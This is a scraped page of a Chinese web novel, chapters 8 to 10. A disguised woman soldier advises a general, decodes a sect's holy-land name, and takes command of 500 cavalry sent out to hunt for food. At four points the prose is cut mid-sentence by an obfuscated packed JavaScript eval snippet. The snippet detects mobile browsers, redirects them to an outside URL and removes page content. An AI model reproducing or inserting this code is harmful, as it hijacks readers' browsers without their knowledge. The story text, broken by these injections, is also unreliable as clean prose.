最严重的一次是亲眼看着兄长在她面前死去后,她整日整夜地睡不着,连眼睛都懒怠闭上,每日就想着—— “我每天都在怕啊恨啊,我恨你们这些拿刀的,恨那些满嘴谎话害死了那么多人的读书人,恨这世道里的所有人……” 你看,想的东西都一模一样。 陆秋筠扯扯嘴角,在他越发疯魔的声音中不再犹豫,右手自腰间一抽,“铿锵”一声,银光闪过,锋利而冰冷的长刀已然搁在了地上那人的肩膀上。 他身体一僵,半晌缓缓伏地,声音平静:“杀了我,但求你放过我的家人。” 寒凉的尖状物移动,却并未刺破他的身体,而是抬起了他的脑袋。 他被迫直起身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679102|173198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体,这才发现自己肩膀上的并不是出鞘了的长刀,而是坚硬的刀鞘。 那刀鞘又猛地抽了一下他的肩膀,把他抽得一个转身,一大一小两个人影赫然映入他的眼帘。 正是他的妻儿。他瞪大眼睛,拼命摇头叫她们回去,面前的人却蹲了下来,那手执长刀阎王一般的人拽过他的衣领,盯着他一字一顿: “你知道,如果今日我杀了你的话,会发生什么吗?” “你的妻儿会目睹这一切,你自然能够从这一切中解脱,但她们会痛苦一辈子……十几年之后,你的孩子也许也会因为恨而成为杀人中的一个。” “又怕又恨,又痛苦又不愿自己结束这一切,觉得耳熟吗,这不就是现在的你吗。” 他直愣愣地回视她,陆秋筠松开手,重新站起来:“恨在乱世里从来不是什么坏事,但你恨错人了。” “有仇报仇,但冤有头,债有主。军中没有多少人是自愿参军的,也没有多少人是还能保住妻儿老小的,你恨我我恨你,杀来杀去,最后也不过循环而已。” 陆秋筠不再看他似喜似悲的表情,收回刀,朝着不远处一大一小站在院门前的两人走去。 女子搂紧怀里的孩子,眼带泪痕,惊疑不定地看着她:“你,你要干什么?” 等陆秋筠离开时,那男人跑回自己妻儿的身边,看着她留下的那些铜钱,最后还是咽了口唾沫,壮着胆问: “难道你就说得清楚我们应该恨谁吗?” 陆秋筠摇摇头,诚实回答:“不知道。” 男人一噎,却又听得她留下最后一句:“但我会找到的。” 陆秋筠转过一个弯,猝不及防地和一个人相撞,那人闷哼一声,被撞得后退几步,她连忙伸手扶住他; “王景,你怎么来了?” 王景揉揉自己的胸口,脸颊和耳朵在陆秋筠的注视下红了一大片: “我看你一直没回来,就过来找你了……对了,这是你的包裹。” 陆秋筠接过来,又顺手还了个东西给他。 王景有些惊讶地看了看自己手中的那一方砚台:“这,这不是我卖给他们家的那个……?” 陆秋筠冲他眨眨眼:“我又从他们那儿买回来了。” 没等王景再说什么,陆秋筠看了看天色:“马上要天黑了,我们快出城吧。” 王景低声说好,那么高的一条人,就这样亦步亦趋地跟着陆秋筠向城外走去,步子都迈得小了几分。 他一双眼睛光顾着看面前人,好几次都差点被脚下的小石子绊得摔跤,陆秋筠以为他是崴了脚,就问他要不要搭着自己的肩膀走。 好一会儿,王景才轻轻搭上她的肩膀,他几乎没使什么力气,却好像能感受到掌下身躯里的热度和力量似的。 天色确实逐渐暗下来了,两人赶着最后的时间出了城,但还要再走一段路才能到军营。 傍晚的官道很荒凉,地面上似有土尘浮动,抬头则是一望无际的荒山野岭铺至天边,星子闪烁,残月垂照,万籁俱寂。 终于到了营地,王景和她道谢: “今日多谢你。” 陆秋筠摇摇头,让他早点休息。 王景说好,放下手时心里却涌上浓重的不舍。他站在原地看她离开,半晌后才低头,摩挲了一下手中的那方小砚台。 路过的小兵被他这一动不动的样子吓了一跳,自个儿溜回去后和人聊起此事,有人回他: “这有什么奇怪的,我听说,他以前可是宁州王氏世家出身,谁知道世道乱起来的时候,那一整个大世家都没跑了,全死了,就他一个人活了下来。他要是能正常,我才觉得奇怪呢!” 8. “贤弟,你是不是有什么想说的?” 陆秋筠摸黑找到自己的营帐,弯腰钻了进去。 自从当了陈垚的亲兵后,她已经不和原来那九个人住在一起,而是和陈垚的其他几个亲兵一起在陈垚的主营帐附近扎营。 营帐里其他人大多已经睡着,时不时发出一阵鼾声。陆秋筠并未立刻入睡,而是把那包裹拿了出来。 白天的时候她和那位社长的交流并不多,她也没看完这包裹里的所有东西,后来又发生了王景那件事,直到现在她才有时间把里面的东西都一一看过。 大部分都是些比较平常的东西,也就是社长告诉她的鞋子铜像之类,但陆秋筠翻着翻着就发现了不对劲: 其中竟然还有一包草木灰,和几件女子的亵衣! 她心脏猛地跳了几下,下意识把所有的东西都掩了起来,脑中飞快闪过她们这样做的几种目的。但等她从那种应激状态下恢复后,她才逐渐反应过来—— 她们应该观察了她不止一次,大概早就发现了她的女子身份,这才送了这些东西给她,想来是提醒和心照不宣保守秘密之意。 想通这些后,陆秋筠松了口气,刚要把这些东西收起睡觉,却忽然觉得那包草木灰摸起来的触感有些奇怪。 似乎是用写了字的纸包起来的……? 她掀起一点篷布,借着月光仔细观察自己手里这包草木灰,果然发现它是用写了字的纸包起来的,只是有字的一面朝里,从外面看只能看见一点深色印记,不仔细看根本发现不了。 陆秋筠犹豫一瞬,还是把它拆了开来,另找布将那些草木灰收好,小心地展开了那张纸。 纸边有明显的撕裂痕迹,应该是被人从某本书上撕下的,上面布满了密密麻麻的小字。 陆秋筠眯着眼看了半天,才大致看明白: 这纸上前半部分讲的就是魏潜势说的内容,和那天晚上陈垚告诉她的差别不大,但这张纸上显然更加夸张,魏潜是已成大道的仙人,“势说”也变成了“势教”。 这东宁郡里,居然连平常百姓的家里都会有魏潜相关的藏书吗?陆秋筠暗暗吃惊,接着继续看下去,却看到了两个无比熟悉,本不可能出现在这里的字眼: “安原”。 但又不仅仅是“安原”,而是魏潜势说中的、去除了所有愚民的——“圣都安原”。 原来如此! 陆秋筠咬了咬唇,才忍住了自己有些激动的恍然呼声。不爱动脑的0302还在催她给它解释,陆秋筠小心地收起那张纸,躺下后才在脑中飞速道: “安原根本不是一个实际存在的郡县,而是一个魏潜提出的桃花源。安,定也,原,广平曰原,安原的本义就是安定之乡。” “换句话说,安原其实就是魏潜势教的教派圣地,魏潜说它在哪儿它就在哪儿,和前朝的州郡县等等毫无关系。” “这种圣地之说一向只在信徒间流传最广,不信仰的人根本不会特意关注。” 陆秋筠有些无奈地笑了笑:“怪不得、怪不得我们之前问了那么多人都不知道安原是什么地方……我早该想到的。” 脑中闪回过那段记忆中老婆婆口称“安原”热泪盈眶的样子,陆秋筠若有所思:“如此说来,这老婆婆应该也是魏潜势教的信徒了……” “啊?”0302在她脑子里跳脚,急得团团转,“那我们不是找错人了吗,快快快,咱们现在就连夜跑路去投靠魏潜。” 陆秋筠轻笑,看到这四个字之后她只觉得豁然开朗,一瞬间想通了许多之前没想通的地方: “急什么,他大概还没决定安原到底是什么地方呢。” “圣地一般只在两种情况下最有存在感,一种是教派鼎盛时期,一种是教派生死存亡的关头。” 她已经有些发困,打了个哈欠,渐渐沉入梦乡,脑中思绪也越来越慢: “他刚被崔复围剿,现在大概还在逃亡呢。我们只要等着,看他到底什么时候才会用出这一招……” 第二日清晨,鼓声早早地就响起了,是军中的例行训练。 陆秋筠收拾完毕,吃了朝食就开始她作为亲兵的工作——站在陈垚旁边看他进行军队的例行检阅和训练。 陈垚的亲兵有的自己也拥有部分兵马,但因为兵马和地位都直接来源于陈垚,因此其也就相当于陈垚的副手,手底下率领的也是陈垚的“嫡系”精兵,比如张虎,就是这一类型的。 但像陆秋筠这种才提上来没一个月的,手底下还没有自己的武力,这种场合就负责在高台上站在陈垚旁边,起一个军事参谋和壮大声势的作用。 陆秋筠看着底下密密麻麻的小兵,想起月余前自己也是这般灰头土脸地站在其中,一时间有些恍惚,但很快她就收回了心神,将视线放在了身前的陈垚身上。 高台上风甚大,吹得陆秋筠都有些发冷,但陈垚仍只穿了一身利落的灰色劲装,外着一套软甲,站姿英挺,好像完全感受不到秋风的寒冷。 士兵们的演练在陆秋筠看来已经比一开始好了许多,毕竟大部分人在不久前还只是新兵,张虎等人带着的老兵的素质更不至于让人不满,但陆秋筠还是听到了身前这将领几声焦虑的叹息声。 她稍一思考,就明白了他在担心什么。 一般来说,在外出征军队的日常很简单,预期出征时间短、粮食足的,将领只需要想办法保持军队战斗力,进行例行训练即可,但一旦在外征战的时间拉长,事情就会变得无比麻烦。 首先必须解决的就是粮食来源问题,毕竟就算一支军队的辎重准备再如何充分,甚至将领也放纵士兵在路上连吃带拿,也总会有座山吃空的一天,军队供给无法稳定。 其次就是士兵方面,这要考虑的就更多了去了,什么士兵的情绪状态、军规军律能不能遵守等等,都会影响到军队的稳定和战斗力,但这其中还有最重要的一个问题—— 兵源。 人,天地之性最贵者也,同样也是最脆弱的一种生灵,□□一旦毁灭便再无转圜余地,因此军队必须要有稳定的兵源,才能免于越打越少、越来越弱的宿命。 现下崔复把陈垚一军留在这人生地不熟的东宁,既不给粮食也不给人马,最近更是连个消息都没有,可不是让陈垚陷进了个两难的境地? 若按照短期出征 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679103|173198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行事,一旦粮食见底,崔复也不打算管这支队伍的话,整支军队就会迎来十分恐怖的结局。 但若说按照长期来准备,魏潜这个暗处的敌人不知道什么时候会冒出来,且这时候让军队屯田的话,来年春夏才能有所收获,实在是太漫长了。 兵源更是只能从东宁考虑,但要在这刚被攻下的城池里招兵,谁都会有所顾虑。 思来想去,这倒不像是崔复给魏潜设的局,而是专门为了陈垚设的局了。 果然,不过一小会儿,陈垚就又叹了口气: “难啊!征兵难,粮食更是难上加难。” 陆秋筠本来还在发呆,却突然感觉了到好几束汇集到她身上的目光。 她回神,这才发现刚刚还和她站在一起的其他人全都心照不宣般后退了好几步,现在她成了唯一一个突出队列的人。 陆秋筠:…… 她无语抬头,果然对上了陈垚饱含鼓励和期待的视线,此武将就这样站在寒风里,几步跨上来握住她的手:“贤弟,你是不是有什么想说的?” 电光火石间,陆秋筠想起昨天那张纸上的内容,脑中迅速浮现出了一个计划。 她斟酌了一下,先提起了一件看似没什么关系的事情:“将军还记得那个来刺杀你的人么?” 陈垚有些疑惑:“自然。” 陆秋筠微微笑了笑:“我记得他就是这东宁郡人,先前是势教的忠实信徒,我和将军当时都认为他是为了魏潜的势说,才会拼死以自己为武器来刺杀将军。” “后来将军查清了他是个平民百姓,家里还有老有小,便把他又放了回去,还给了些粮食,我应该没有记错吧,将军。” 陈垚若有所思:“对,我是把他放回去了,难道他还有什么问题?” 陆秋筠摇摇头:“相反,他后来什么异动都没有。” 秋风吹拂中,陆秋筠有些没束好的发丝随风飘动,陈垚看见他这亲兵罕见地表现出了较为明显的情绪波动,一贯没什么表情的脸上露出一个明亮的笑容,一时间神采飞扬,光彩熠熠。 “所以将军,兵源问题不就已经解决了吗?” 陈垚一怔,他也不是庸才,稍一思考便明白了陆秋筠的意思: “有理!这东宁郡大部分都是平民百姓,就算信仰势教,大多也都是为世势所迫,所求不过生存而已,此时正应予其机会,征其入军,发放粮饷,安稳民心。” “不过这样一来……粮食的问题就更严重了。” 他急急唤人去叫能说得清粮食明细的人上来,等待的时间里,他和陆秋筠越聊越是投机,通体舒畅。 陈垚在这一刻终于明白了为什么崔复总是那么看重身边的谋士,原来能有个聪明的军师竟是如此畅快之事,更别说这军师还和那些酸腐的老头不一样,言谈举止自有一股侠气,和他分外合得来。 为了表示他的重视,陈垚索性直接让她站到自己身边,两人并肩而立,一个侃侃而谈,一个满眼欣赏,时不时还弯腰去迁就另一个人的身高。 被人急匆匆喊来的王景踏上高台时,第一眼看到的就是这样的场景。 9. “百夫长先来。” 陆秋筠没想到来的会是他。 她一向觉得她和这书生之间有点萍水相逢但倾盖如故的味道,因此眼前微微一亮,扬起一点笑想和他打招呼。 但王景几步走上来,只是低垂着视线行礼,在她开口前先出了声,语气虽然温和,却也能听出隐隐的生硬: “将军想知道什么?” 陆秋筠以为他只是没注意到,并未多想,索性也转头去看陈垚等他说话。 她没发现,在她移开目光后,王景的眸光又更黯淡了几分。 陈垚把两人之间的变化看见眼内,若有所思地挑了挑眉,还是先提了正事,问他军中粮食剩余多少,每日消耗多少,还能支撑多久等等。 王景翻着账册一五一十地说了,等最后一个问题说完,他几乎是拔腿就走,连行礼和告退都没了,急切得像后面有野兽在追。 从始至终,他都没有向陆秋筠的方向望一眼。 陆秋筠察觉出他对自己的躲避,更惊讶于他举止间的随意和隐约傲气,看向他背影的目光里满是疑惑。 她旁边的陈垚轻笑一声,恰好开口:“无官无爵,没兵没马,也亏得他还能端起这幅宁州王氏的架子。” 虽然猜到了王景的身世可能并不普通,陆秋筠还是有些惊讶:“宁州王氏?” “对,宁州王氏,从前朝算来,也算是个绵延三百年的大家族了,”话虽这么说,陈垚的语气却有些随意,有些瞧不起似的,“不过几年前战乱,就他一个活了下来。” 他笑了笑,接下来的话语更是有种武人的刻薄: “我看他心中有怨,偏偏还要端着什么世家气度,虚伪懦弱,心机深沉,实在没趣。” 陆秋筠还是第一次听到他用词这么不留情面,细想了一回,觉得这话对王景来说未免残忍: “人无完人,他遭遇如此大的变故,还能振作起来,已经难能可贵了。” 陈垚挑眉,看她一眼,倒并未生气,反而突然笑起来,拍了拍她的肩膀: “我厌恶他,自然看他做什么都不好。你的性子才投我胃口,心里想什么,想要什么,从来坦坦荡荡,这才痛快。” 陆秋筠没有再接这个话头,两人默契地重新谈回正事。 也许是因为刚刚提到了宁州王氏,陈垚最后提出了个分城中富人之粮的方案。 “百姓家里哪来的多余粮食,我看这还是得让这群‘宁州王氏’们掏。” 高台视野良好,不远处就是已经有人开始进进出出的东宁郡,陈垚扫一眼那个方向,扯扯嘴角: “这半个月里,我可是丝毫未踏足城内,足够让他们放松警惕了。” 陆秋筠看了一眼他对于一个将军来说分外简朴的装束,灵光一现,终于明白了陈垚身上的不协调之处。 张虎曾跟她说,陈垚能和古书上的圣人比肩,是个仁慈的将军,她因此先入为主地把他当做了传统士大夫教育下的文人将军 ——什么心怀百姓,以天下为忧等等,但陆秋筠此刻才反应过来,陈垚不可能是出身良好的“士人将军”,反而应该是出身底层的纯粹武将。 这种乱世中突然崛起的武将自有一套朴实且粗暴的善恶观,换句话说,他的仁慈可不是什么圣人之慈,而是对他认定的“自己人”的仁慈。 就以收粮这件事来说,自古百姓与高门贵族就如衡器之两端,此盈彼亏,陈垚底层出身,行军数年,自然对这一点心知肚明,会提出这种方案就再合理不过了。 突地,另一边有一人漫步而出,摇扇开口: “将军三思,我看光从世家富人身上收粮……很有可能引起不满呢,不如城中每户都收些来,这才公平。” 陆秋筠看过去,觉得脸生,回想一番,才想起这人的来路: 他并不是陈垚提拔的亲兵,甚至不是陈垚军中之人,而是城破后交了银两,自荐来陈垚身边当谋士的。 陈垚摸着剑柄笑,没说好与不好,只是问陆秋筠的想法。陆秋筠回过神,摇头: “我觉得不好。” 那人噎住:“怎么不好,小兄弟倒是说出个理由来。” “缺德,我从来没见过这么睁着眼说瞎话的,”陆秋筠盯着他,“你是东宁郡人,更应该知道城中有多少百姓吃了上顿没下顿吧。” 她脸色未变,声音里有了点淡淡的嘲讽:“不过你城破后还能拿出那么多银两,想来你平时就是那鱼肉百姓寡廉鲜耻之人,不然怎么敢说这是公平?” 那人被她说的脸色涨红,喊着什么“士可杀不可辱”就朝着她扑了过来。 “唰”一声,血液溅过。 陆秋筠一动未动,是陈垚收回了剑,脸色平淡:“我平生最恨这种人。” 周围一片寂静,陆秋筠环视一圈,发现没有人脸上有不满,反而有人隐隐有些敬佩。 原来如此。 陆秋筠想,她终于明白,为什么会有那么多人拥护陈垚,为什么在被人磕头说“指一条活路”时,会有人毫不犹豫地回答“陈将军的军营征兵”了。 但她并未止于这一步,在想到这一点后,她顿了顿,在一片寂静中重新开口说话。 众多视线聚到她的身上,空气中还弥漫着浓浓的铁锈味,她的声音稳而平静,说东宁城外林草繁茂,地广人稀,正可以定时派人出去狩猎,用禽兽抵一部分米面消耗。 陈垚首先拊掌笑起来,他看上去是真心喜欢陆秋筠的提议,可能还有这个人,于是眉目间的肃杀一瞬间就被冲淡成了欣赏。 “你想法周到,人极聪慧。”他毫不吝啬地夸赞完,顺理成章般又开口,直接拨了五百骑兵给她,说这几百人的训练和狩猎的工作就都交给她了。 “诶?” 陆秋筠愣住:“五百骑兵?给我带吗?” 陈垚含笑看她:“不想要吗?” “想要的。” 陆秋筠毫不犹豫地开口,听到陈垚又说:“不仅是这几百的骑兵,城中有人想出去打猎的,也可以跟着你一起,但要怎么管理,就看你的了。” 底下训练结束,陈垚让她不用再跟着自己,去看看自己新领到的兵,陆秋筠点点头,转身离开时还有点不真实感。 0302在她脑子里发痴呆,把“咋办咋办,咱两都没学过管理”这种话车轱辘一样来回说,陆秋筠不理它,转眼间就已经站到了那五百人得面前。 骑兵骑兵,虽然叫骑兵,但也不是一直骑在马上,此时这五百人刚刚结束例行训练,身上盔甲还没卸,气都没喘匀就听说自己头上来了个长官,个个都在打量着她。 陆秋筠在陈垚军中有名,但也只是稍微有名,大多数人都对她很陌生,现下看她身形偏瘦,一张脸还很俊雅,顿时眼里就多了些不服气的味道。 陆秋筠摸摸腰间刀柄,没抽,而是顺手从旁边人手上拿了根棍子。 她动作行云流水,棍子都到手了,那人才反应过来,诶诶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679104|173198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诶地问她干啥拿自己东西。 陆秋筠不语,长棍横在身前,平淡的眼眸环视了一圈对面,她抬抬下巴: “百夫长先来。” …… 张虎一结束训练就听说了上午的事,他对陆秋筠一向服气,是最乐见其成的,值班时人都一直乐呵呵的。 陈将军看上去心情也不错,还在摹地图,但说是摹地图,其实也就是照着画,连那上面的地名也照着画。 旁人可能不知道,但张虎知道,陈将军其实没读过什么书,小时候是没人管,当了将军后天天打仗,也没机会读。 其他书也罢,但对于一个将军来说,地图是一定要读懂的,于是陈将军就开始摹地图,连那上面的地名也一起摹。 老朝廷取地名可刁钻,让张虎看,那就是一堆鬼画符,就这东宁已经是里头最最简单的了,但陈将军就这样一张一张的摹下来,硬是把每个地方地名的“长相”都记了个清清楚楚。 要是不说,谁能看出来那么多张地图上端端正正的地名,竟然是一个连字都不认识的人写出来的。 不过说到读书识字,陆丘好像还挺有才识的,平日里行事说话乍一看很粗糙,细琢磨却总有点文雅的意味,但又不像那个叫王景的,天天端着架子,也不知道摆给谁看。 他正在心里漫无边际地想着这些乱七八糟的事情,营帐外突然传来了一阵乱哄哄的吵闹声。 张虎有些纳闷,掀帘探头去看,却猝不及防地被人猛撞了一下,他揉着头,龇牙咧嘴地转身,来人倒是先叫起来: “将军!陆丘跟人打起来啦!” 陈垚动作一顿。张虎头也不揉了,连忙凑上去叫他说仔细点。 “不对不对,不是跟人打起来了,是打擂台!” 年轻的亲兵激动得满脸通红,手舞足蹈: “五个百夫长,拿着武器轮流和他打,他就像这样,刷刷刷地几下,就把那些人全打服了。” “打完五个人之后,他就说,”年轻亲兵压低嗓音,模仿那人说话,“‘还有人不服吗’,然后让不服的再和他打,到现在还没结束呢!” 两人从他声行并茂的讲述里听懂来龙去脉,张虎第一时间去看了看陈垚的神色,发现他并无不悦,只是挑了挑眉: “像她能干出来的事情。” 年轻亲兵摸摸头,又嘿嘿笑了两声:“将军,我是想问,这算不算扰乱军纪啊,要把他抓起来不?” 张虎瞪了他一眼:“说什么呢,那五百人就是将军给的,你还要抓人?” 陈垚笑,挥手让那亲兵下去,自己站到窗前,掀起布帘,遥遥看了一会儿远处陆秋筠的身影。 他看似感慨地开口:“当年我第一次带兵,手底下也有人不服,我本并不觉得他们麻烦。” “直到后来,有一次和大军走散,恰巧又碰到敌人,他们不愿听我指挥……可真是九死一生,那时候我才明白,对付这种人,只能打,打服了,他才会真正听你的话。” “可惜,等我明白过来,”陈垚放下布帘,语气不明,“他们都已经死在了那儿。” “几百精兵,最后只有我一人活着回,那场景,可真是……呵。” 张虎被他的话语一惊,咽咽口水。 陈垚似乎意识到自己的失态,敛去眼中的冷光,重在案前坐下,气定神闲地看着额角已经渗出冷汗的张虎: “张虎,你还要替她继续遮掩下去吗?” 10. 这位陆小将军,还真是心软。 事实证明,在绝对的武力面前,一切问题都不会是问题。 陆秋筠彻底出名了,从一个“好像打架很厉害的小兵”变成了“能以一敌十打人特别厉害的长官”。 那天晚上她回营帐时,一边是张虎起哄叫好的声音,一边是又惧又敬的其他人的目光,中间还有个0302在不可思议地嚎叫: “你不是低武低玄世界出来的吗,怎么武力值是高武低玄世界的平均值,这是霸哥吧,是霸哥吧?” 陆秋筠不懂它说的什么“霸哥”,只知道那五百人已经被自己彻底打服,可以开始定规矩和分任务了。 东宁郡外林草地广阔,陆秋筠照着地图初初分了五块地方,分别分给五个百夫长和手底下的骑兵,自己则每日随即挑一队伍,既是监督也是带领。 初步规划做得很好,但现实显然不会像分大饼一样简单。 第一天结束,五百个人里大约只有两百人真的带回了猎物,其中又数她今天监督的那个队伍带回猎物的人数最多。 陆秋筠没说什么,带着一个小副手开始统计每人的成果,每人汇报到十夫长,再由十夫长汇报到百夫长,最后汇到她这里。 小副手是今天才临时被她拉来上任的,能认字也能识数,是陆秋筠从后勤那儿借过来的——本来她想借王景,结果人家说王景很忙,没空,只有这个小副手了,她也只能遗憾地带着人回来。 看上去也才弱冠的副手应该是听说了她的凶名,战战兢兢地把统计好的册子交到她手里。 她翻了翻,心算一通,又扫了一眼被带回来的猎物,张口喊了几个十夫长的名字。 几人面面相觑,慢慢吞吞地走出来,看上去还挺巧,都是一个队伍里的、相邻的几个十夫长。 陆秋筠合上册子,摸了摸自己的刀柄,露出一个和昨天一模一样的笑容:“串通了就觉得我看不出来了是吧?” 接下来发生的事情对于几人来说好熟悉,熟悉得像回到了昨天。 回过神时就这样趴在了地上,头顶是新长官颇具欺骗性的文雅面庞,四周是其他人或好奇或惊讶或同情的目光和语句,几个人闭了闭眼,果断开始交代真实情况。 其中有个看上去就年轻力壮的,坦白得格外爽快,最后还觑着她的脸色,小心地辩了一句: “陆小将军,咱们兄弟也实在是没办法,这都是自己拿命换回来的东西,要是自己一点没碰着,那多叫人难受呀。” “而且大家都多长时间没尝过肉味儿了……您看这稍微拿点,咱们也能齐心嘛。” 0302又在说怪话,啧啧称他适合什么烤宫,陆秋筠看了这个十夫长一眼,想起来他昨天和她打架时也是少有的能撑上一小会儿的人,于是看着册子上的名字问他: “你叫什么名字?是哪个?” 年轻人从地上爬起来,拍拍自己裤脚上的泥土,好像根本不怕她的冷脸似的,笑嘻嘻地还在和她套近乎: “说来也巧,小人还和陆小将军一个姓哩,只不过小人从小就没有个正经的名,只混叫个陆一罢了。” 他还是笑,太过用力,难免带出几分谄媚的意味:“怪不得我一看将军就觉得亲切。” 陆秋筠没笑,让他站回去,自己心里把几个人交代出来的东西又重新过了一遍。 这回的确没有什么问题了。她放下账册,众人松一口气,她准备开口讲话时,众人又提上一口气。 但让人有些没想到的是,陆秋筠并未说有什么惩罚,只是让他们重新回去训练。 没过一会儿,那一大批猎物被兴高采烈的辎重后勤人员拖走,众人心里多少都有点酸酸的,训练时也没精打采的,时不时凑在一起嘀嘀咕咕。 陆秋筠只当没听到,回身把册子放回那小副手手里,那小副手抖着手接过来,突然开始吞吞吐吐地和她认罪。 “都是我才疏学浅,连有问题都听不出来,还要将军您费心亲自处理……”他越说越激动,“要是让王主簿来,他肯定不会犯这种错误……我这就以死谢罪!” 陆秋筠被他最后一句话一震,心想这有的文人确实是有些通病在身上,于是拍拍他的肩膀,宽慰了他一句: “你已经做得不错,不必与他人比较,多多学习就是了。” 副手有些受宠若惊,没想到这么神勇的小将军居然是个极好相处的人,连连点头,也不再说要谢罪,自己拿着账册高高兴兴地走了。 另一边,打了半天猎回来的骑兵们还在嘀嘀咕咕,大多是在骂这个陆丘实在是不当人,骂完想起她那把雷霆一样打人巨疼的长刀,又难免一怂,缩缩脖子,再骂怎么就给他们摊上这样的将领了。 陆一是里头唯一一个还能笑出来的,其他人匪夷所思地问他是不是脑子坏了,到现在居然还能笑出来。 陆一耸耸肩,瞥见那小将军转过了身,借机压低了声音,对着愁眉苦脸的一群人说话: “担心什么,人家不给,我们还不能自己拿了,等晚上的。” 有人面露犹豫:“这可是偷拿啊,犯军令的。” 陆一笑了笑:“活人总不能被饿死吧,咱们都已经把脑袋拴在裤腰带上过日子了,还怕这些?况且那群天天写字的最胆小,发现少了也绝不敢说出来的。” 几人琢磨,觉得他说的有道理,一拍即合,说还是他脑子好使,完全忘了一开始串通起来假报数量的馊主意也是他出的。 一群人心怀鬼胎地度过了下午的训练,只等着晚上大展身手,偏偏计划没有变化快。日近黄昏时,几大锅肉汤被拖到他们面前,几乎所有人都愣住了。 那可是肉啊,这儿的人有的几年都没尝过一点肉味儿吧,就算是资历老一点的兵,也只是在大战事前一天才能来一碗肉汤,喝完擦擦嘴,就当是用自己命买来的了。 陆秋筠就站在他们不远处,正和那个副手说话,陆一小心翼翼地开口: “小陆将军,这是给我们的吗……?” 陆秋筠回头,好像沉思了一瞬:“是,也不是。” 众人的心情瞬间忐忑起来。很快,他们就明白了这句话是什么意思—— 白天有所收获之人,有肉有汤,串通假报之人,只能沾上一点肉汤,什么都没带回来的,连汤都没有。 当那小副手颤颤巍巍地说出这些规矩时,几百人瞬间嘈杂沸腾起来。 原来这小将军不是不敢惩罚他们,而是要等到傍晚杀人诛心! 拍掌大笑的有,跺脚怒吼的也有,至极的喜乐苦悲也不过如此。 这并不是什么可笑或滑稽的场景,陆秋筠看着,想起多年前兄长也曾为了一碗肉向人叩头,一瞬间只觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679105|173198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得喉间哽塞。 但她不能表现出来。常年的高压和恐惧之下,这里每一个人的每一面都更加纯粹和野蛮,只要露出一点破绽,她此后就再也别想在这里立足。 于是她抽出长刀,落日的黄昏落在上面都成了寒冷的银光。几百人安静下来。 0302叹气,终于在她脑子里说了一句听上去很有道理的人话:“前进是痛苦的,但也是必要的。” 盖子被揭开时,让人魂牵梦萦的肉香味源源不断地向外散发,几乎每个人都咕噜一声地咽了口水。 小副手看一眼账册,抖着手从大锅里舀出一勺,放进碗里,再用颤巍巍的声音喊人名。 变故就在这一瞬间里发生,一道黑影从队列里猛地扑了出来,直冲着那碗肉汤而去,吼声撕心裂肺: “老子才不管那些,反正我也活够了,有本事就杀了我!” 小副手吓得惊叫了一声,手里勺子直直往下掉,整个人呆在原地。那人哈哈大笑—— “用我的命换这一口,值了!” “锵”一声,他腿下一软,被人用巧劲打跪了下去,陆秋筠接住那把长勺,向小副手的方向递了递。 副手呆愣愣接过,看见她蹲下来,抓住了地上人的头发。 “可这不是你的命吧,”陆秋筠迫他抬头,看一圈自己身后那些士兵各异的神色,“这是他们用命换回来的。” 他浑身一抖,像被人浇了盆冷水,一时间耷拉下眼皮,竟不敢看同伴们复杂的眼神。 接下来的事情顺利得多,被叫到名字的人一个个上前端回自己的碗,不知道什么时候,瘫在地上的那人已经被人搀回了队伍里。 听到自己的名字时,陆一走出来,立马察觉到了不少投向自己的目光,就连前面那陆小将军都在看着自己。 他苦笑一声,最终也只是老老实实地领回了自己的那碗汤。 气氛顿时松弛下来,陆秋筠握在刀柄上的手也松了松,陆一余光瞥见这一细节,又低头看了看手里那碗热乎的,还飘着油星的汤。 不过一会儿时间,肉汤分完,小副手擦着额头的冷汗把账册递给陆秋筠,她翻了翻,夸他做得好,然后叫来几个人,吩咐了几句什么。 于是或低落或高兴的众人就看到几个人又带来了几大锅菜粥,并腌菜和饼子若干。 